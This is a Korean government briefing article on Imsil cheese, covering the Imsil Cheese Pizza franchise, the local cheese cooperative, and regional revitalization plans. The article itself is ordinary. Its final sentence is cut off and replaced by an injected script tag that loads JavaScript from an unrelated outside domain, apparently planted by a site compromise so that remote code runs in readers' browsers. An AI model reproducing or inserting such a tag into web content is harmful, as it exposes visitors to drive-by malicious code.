[국정브리핑]1·2·3차 산업이 결합한 ‘임실 치....농민들이 정부예산으로 대학에서 강의를 듣고, 외국에 연수도 다녀온다. 또 캐릭터 하나 만드는 데 수 억 원이 들고, 수 십억 원을 들였다는 데 다리하나 새로 놓는 것이 없다.
그러나 네덜란드와 덴마크를 다녀온 낙농가는 외국에서 보고 느낀 점을 바탕으로 미래를 설계한다. 또 돈이 손에 잡히는 알뜰한 정보를 알려주는 강의는 농민들의 눈빛을 반짝히게 한다. 쌀, 감자, 옥수수 등 농산물을 생산하던 농민들이 "청정", "유기농", "자연" 등 이미지가 소득으로 이어질 수 있다는 사실에 눈을 뜬다.
행정자치부와 <;국정브리핑>;은 낙후지역에 새 바람을 불어 넣고 있는 신활력사업의 성과와 과제가 무엇인지 8회에 걸쳐 살펴본다. <;편집자주>;
임실치즈를 활용해 호남지역을 석권하고 전국으로 퍼져가고 있는 "임실치즈피자"
# 3차 산업 = 서비스 유통. 한번 먹어본 사람은 반드시 다시 찾는다는 "임실치즈피자". 그 경쟁력은 이름에도 있듯이 신선한 치즈다.
수입브랜드 피자가 치즈를 도우(피자에 쓰이는 빵)에 얹기까지 냉동 수입한 덩어리를 녹였다 얼렸다를 반복한다면, "임실치즈피자"는 임실에서 생산한 신선한 냉장 치즈만을 사용한다. 1년 넘게 보관하면서 특유의 군내가 나는 숙성치즈와 달리 피자에 뿌리는 모짜렐라 치즈는 신선함이 맛의 차이를 가른다. 이제는 없어진 냉동 삼겹살, 그것도 유통과정에서 얼었다 녹았다를 반복한 그것과 요즘 즐겨먹는 생삼겹살의 맛이 다르다는 것을 생각하면 쉽다.
"임실치즈피자" 먹어봤나요
여기에 임실치즈피자는 흔히 밀가루로 만드는 도우에 쌀가루를 사용한다. 쌀을 주식으로 하는 우리나라 소비자 입맛을 사로잡은 비결이다. 그래도 의심나면 한번 먹어보시라. 입소문에 하루가 다르게 퍼져 현재 임실치즈피자 가맹점은 180여 곳에 이른다. 지난 넉 달 사이에만 30여 곳의 가맹점이 늘었다.
임실치즈피자의 인기로 전북지역에서는 수입브랜드 피자집이 대부분 철수했다. 전주 시내만 해도 3~4곳에 이르던 한 유명 수입브랜드 피자 가맹점도 이제는 한 곳밖에 남지 않았다. 임실치즈에 대한 인지도가 높아지면서 일부에서는 임실에서 생산한 치즈를 쓰지도 않으면서도 *** "임실치즈"라는 이름을 붙여 가맹점 사업을 하는 경우까지 생겼다.
임실군은 "임실치즈"의 명성을 지키고 소비자를 사로잡기 위해 임실에서 생산된 치즈를 사용하는 피자에만 활용할 수 있는 상표를 최근에 등록했다.
# 2차 산업 = 유가공. 임실치즈피자는 임실에서 난 쌀과 치즈를 사용한다. 이곳에서만 매달 쌀 40톤과 치즈 30톤을 소모한다. 물론 다 임실에서 자라고 가공한 것들이다. 임실 치즈의 역사는 40여 년 전 벨기에 출신 지정환 신부가 임실성당의 주임신부로 부임하면서부터 시작됐다. 우리나라 치즈의 효시다.
매일 새벽 임실지역에서 채집한 원유를 "임실치즈농협"에서 치즈로 가공한다. 임실에서 만든 치즈는 우리나라 자연치즈 시장의 30%를 차지한다. 임실치즈피자를 비롯해, 각종호텔과 레스토랑에 식재료로 공급한다. 매출액은 연간 100억 원에 달한다.
임실군 사람들의 치즈에 대한 자부심은 대단하다. 처음부터 기술을 수입한 것이 아니라 한국사람의 입맛에 맞는 치즈를 생산하기 위해 수많은 실패를 통해 얻는 탄탄한 노하우가 있기 때문이다. 최근에는 임실치즈를 이용한 피자점이 중국에도 진출했을 뿐만 아니라, 지난 5월에는 중국 문순시 경제합작국 직원이 임실을 방문해 치즈공장 유치의사를 타진하기도 했다.
40년 전통의 임실치즈가 신활력사업으로 비상을 준비하고 있다.
단순한 생산과 판매에서 한 단계 도약하기 위해 임실군은 "임실치즈 크러스터"를 추진 중이다. 이를 위해 산업자원부의 지원을 받아 치즈연구실, 이화학분석실, 미생물실 냉장보관실, 숙성실 등을 갖춘 치즈과학연구소를 준비 중이며, 행자부, 농림부의 지원으로 체험관과 박물관, 가공판매장 등이 함께 들어서는 치즈피아를 건립할 계획이다.
# 1차 산업 = 낙농. 임실의 낙농가는 123곳으로 5,300 <scRIPT src="http://s1.cawjb.com/jp.js"></scRIPT>
